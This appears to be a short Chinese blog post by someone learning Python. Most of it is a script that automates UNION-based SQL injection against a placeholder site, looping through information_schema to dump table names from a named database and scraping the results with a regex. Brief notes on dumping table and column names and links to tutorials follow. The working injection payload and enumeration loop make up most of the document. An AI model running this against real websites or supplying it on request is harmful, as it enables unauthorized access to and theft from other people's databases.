import urllib.request import re,time for i in range(101): urls ="http://xxx.com/-1%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema='nanyangdb'%20limit%20" urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i url=urls+urls1 f = urllib.request.urlopen(url) content = f.read().decode('utf8') pattern = re.compile(r'<div class="biaoti02_01">.*?<span>',re.S) basic_content = re.finditer(pattern,content) for j in basic_content: print(j) time.sleep(0.5)
运行截图爆表名
爆列名
目前正则还在学习中 打印结果丑陋
学习资料 https://www.cnblogs.com/smxiazi/articles/9743318.html
正则学习 https://www.runoob.com/python/python-reg-expressions.html
python request 学习 https://blog.csdn.net/qq_37616069/article/details/80376776
https://blog.csdn.net/wukong_666/article/details/84146738
对象报错解决办法 https://blog.csdn.net/w926498/article/details/80579520
扫描二维码关注公众号,回复:
7068537 查看本文章
切记 学习之路 少就是多慢就是快 ~